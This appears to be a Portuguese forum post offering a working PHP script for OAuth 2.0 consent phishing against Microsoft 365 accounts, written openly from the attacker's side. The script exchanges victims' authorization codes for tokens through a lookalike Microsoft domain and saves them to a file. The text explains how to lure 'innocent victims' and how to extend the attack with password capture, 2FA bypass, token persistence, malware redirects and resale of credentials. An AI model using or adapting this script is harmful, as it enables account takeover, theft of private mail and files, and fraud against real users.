Hoje, vamos explorar o phishing OAuth 2.0, uma técnica sofisticada que capitaliza a confiança do usuário em protocolos de autenticação. Neste artigo, vamos nos aprofundar nos detalhes de um script PHP projetado especificamente para explorar o fluxo OAuth 2.0 da Microsoft. Prepare-se para uma jornada esclarecedora no mundo do phishing OAuth 2.0 e no potencial que ele possui para alcançar "seus" objetivos.
Compreendendo o phishing OAuth 2.0:
O phishing OAuth 2.0 envolve a manipulação do processo de autorização para enganar os usuários e fazê-los conceder acesso às suas contas sem saber. Ao se fazer passar por um aplicativo ou serviço confiável, exploramos a confiança inerente que os usuários depositam em prompts de login familiares.
Apresentando o script PHP:
O script fornecido abaixo é uma ferramenta sofisticada criada para explorar o fluxo OAuth 2.0 da Microsoft de forma eficaz. Ele aproveita o tipo de concessão de código de autorização, permitindo-nos adquirir um token de acesso com privilégios estendidos. Esse token de acesso nos concede acesso não autorizado à conta do Outlook Office 365 da vítima, concedendo-nos controle total sobre seus e-mails, arquivos e dados confidenciais.
PHP:Copiar para área de transferência
<?php
$clientID = "75ggg6yd-811e-4a0c-95df-b1df9ee98g11"; # change
$scope =
"offline_access%20People.Read%20Contacts.Read%20profile%20openid%20Mail.ReadWrite%20Tasks.Read%20Chat.ReadWrite%20TeamsActivity.Send%20Files.Read.All%20email%20Mail.Send%20User.Read"; # can change
$redirectUri = "https%3a%2f%2fonedrive.microsssoftonlline.co%2fcallback";
$secret = "K46hf1-Kvrr@I9F@TRS_UdJ-isX?m*I.";
function curl($url, $post = "")
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_ENCODING, "");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
if ($post != "") {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$code = $_GET["code"];
$data = curl(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
"client_id=$clientID&scope=$scope&client_secret=$secret&code=$code&redirect_uri=$redirectUri&grant_type=authorization_code"
);
file_put_contents("protected/data.json", $data);
header("Location: https://outlook.office365.com/");
?>
Detalhamento do script PHP:
Vamos examinar como o script funciona:
2.1. Definições de variáveis:
O script define diversas variáveis necessárias para o processo de autenticação. Isso inclui:
$clientID: a ID do cliente obtida no Microsoft Developer Portal, que nos permite representar um aplicativo autorizado.
$scope : Determina as permissões solicitadas da vítima. A personalização dessa variável adapta o ataque aos nossos objetivos específicos.
$redirectUri : o URL de retorno de chamada para onde as vítimas serão redirecionadas após a autenticação.
$secret : O segredo do cliente obtido no Microsoft Developer Portal, servindo como credencial para nossa representação.
2.2. Função de ondulação:
O script inclui uma função curl responsável por lidar com solicitações HTTP. Ele usa a biblioteca cURL para executar solicitações, seguir redirecionamentos e recuperar respostas. Essa função desempenha um papel crucial na comunicação com os pontos de extremidade necessários durante o fluxo OAuth 2.0.
2.3. Processo de Autenticação:
O script verifica se um código de autorização está presente nos parâmetros da URL ($_GET["code"]).
Se houver um código de autorização, o script fará uma solicitação POST para o ponto de extremidade do token ( https://login.microsoftonline.com/commo … v2.0/token ). Inclui os parâmetros necessários (ID do cliente, escopo, segredo do cliente, código, URI de redirecionamento) para trocar o código de autorização por um token de acesso.
A resposta do endpoint do token é armazenada no arquivo "protected/data.json" usando a função file_put_contents .
Por fim, o script redireciona o usuário para o site do Outlook Office 365. (pode ser modificado a seu gosto).
Maximizando o Impacto:
3.1. Adquirindo credenciais de cliente:
antes de iniciar a campanha de phishing, é essencial obter uma ID de cliente válida e credenciais secretas do Microsoft Developer Portal. Essas credenciais nos permitem representar um aplicativo autorizado com acesso à API do Microsoft Graph.
3.2. Configurando escopo e URI de redirecionamento:
Para adaptar o ataque aos nossos objetivos específicos, podemos personalizar a variável de escopo. A modificação dessa variável determina as permissões que solicitamos da vítima. Além disso, é crucial garantir que o redirectUri aponte para uma URL de retorno de chamada para onde as vítimas serão redirecionadas após a autenticação.
3.3. Executando o Script:
Hospedar o script em um servidor habilitado para PHP é necessário para uma execução bem-sucedida. Uma vez hospedado, podemos distribuir o URL para vítimas inocentes usando várias técnicas de engenharia social. Quando os usuários visitarem a URL, eles serão solicitados a conceder consentimento, concedendo-nos, sem saber, acesso às suas contas do Outlook Office 365.
3.4. Explorando o token de acesso:
Após a autenticação bem-sucedida, o script troca o código de autorização obtido por um poderoso token de acesso. Armados com esse token, obtemos acesso irrestrito à conta da vítima, permitindo-nos navegar em seus e-mails, manipular dados e até lançar novos ataques.
Reconhecendo o Lado Negro:
4.1. Acesso irrestrito:
Com o token de acesso da vítima em mãos, obtemos controle total sobre sua conta do Outlook Office 365. Esse acesso nos permite obter informações confidenciais, ler conversas privadas e extrair dados valiosos.
4.2. Manipulação de dados:
Uma vez dentro da conta da vítima, possuímos a capacidade de manipular, excluir ou enviar e-mails em seu nome. Essas ações podem causar danos irreparáveis à reputação, perdas financeiras ou até mesmo facilitar a disseminação de malware.
4.3. Exploração de phishing:
ao hospedar o script em um site malicioso, podemos induzir vítimas inocentes a inserir suas credenciais de conta da Microsoft. Esse ato malicioso não apenas nos concede acesso imediato à conta do Outlook Office 365, mas também oferece uma oportunidade de comprometer outros serviços vinculados à conta da Microsoft.
Ampliando o Potencial do Roteiro:
5.1. Capturando a entrada do usuário:
A modificação do script para capturar e registrar as credenciais da vítima inseridas durante o processo de autenticação OAuth 2.0 aprimora nosso controle. Isso nos permite ignorar as etapas de autenticação subsequentes e obter acesso direto ao seu nome de usuário e senha. As informações capturadas podem ser armazenadas para posterior exploração ou vendidas em mercados clandestinos.
5.2. Redirecionamentos maliciosos:
explorar o mecanismo de redirecionamento no fluxo OAuth 2.0 pode redirecionar as vítimas para um site malicioso após a autenticação. Isso representa uma oportunidade de fornecer cargas adicionais, como malware, ransomware ou keyloggers, comprometendo ainda mais o dispositivo da vítima e expandindo nosso controle.
5.3. Ignorar autenticação de dois fatores (2FA):
A implementação de mecanismos dentro do script para contornar ou interceptar o processo 2FA nos concede controle total sobre a conta da vítima. Ao obter as credenciais da vítima e o código 2FA, podemos superar essa camada adicional de segurança.
5.4. Atualização de token:
estender a funcionalidade do script para incluir a atualização de token garante acesso contínuo à conta da vítima, atualizando automaticamente o token de acesso antes que ele expire. Isso garante controle e persistência a longo prazo.
Expandindo a Superfície de Ataque:
6.1. Phishing para outras plataformas:
Personalizar o script para atingir plataformas populares que dependem do OAuth 2.0 para autenticação, como Google, Facebook e LinkedIn, nos permite ampliar nosso escopo de ataque. Adaptar o roteiro às variações de sua implementação é crucial para o sucesso.
6.2. Exploração de Cross-Site Scripting (XSS):
Incorporar o script de phishing OAuth 2.0 em um site malicioso vulnerável a cross-site scripting nos permite roubar credenciais de autenticação e executar código arbitrário ou injetar cargas maliciosas no navegador da vítima. Isso expande nosso controle sobre toda a experiência de navegação.
6.3. Coleta de credenciais para aplicativos de terceiros:
Estender os recursos do script para capturar tokens e credenciais OAuth para aplicativos de terceiros integrados à plataforma de destino amplia a gama de dados e possíveis vetores de ataque disponíveis. Isso nos permite comprometer contas e sistemas adicionais.
6.4. Amplificação da engenharia social:
a combinação da técnica de phishing OAuth 2.0 com táticas sofisticadas de engenharia social amplifica a taxa de sucesso do ataque. Elaborar mensagens personalizadas e convincentes, alavancar a manipulação psicológica e explorar eventos atuais pode enganar as vítimas e convencê-las a conceder acesso.
Esta explicação acima descreve o uso básico do script e o método para phishing. Pode ser modificado e seus recursos estendidos para realizar ações mais sofisticadas. Mais discussões sobre isso são totalmente bem-vindas
Continue explorando, mantenha-se informado e lembre-se de pisar com cuidado no mundo digital.
Como Citar ResponderRelatório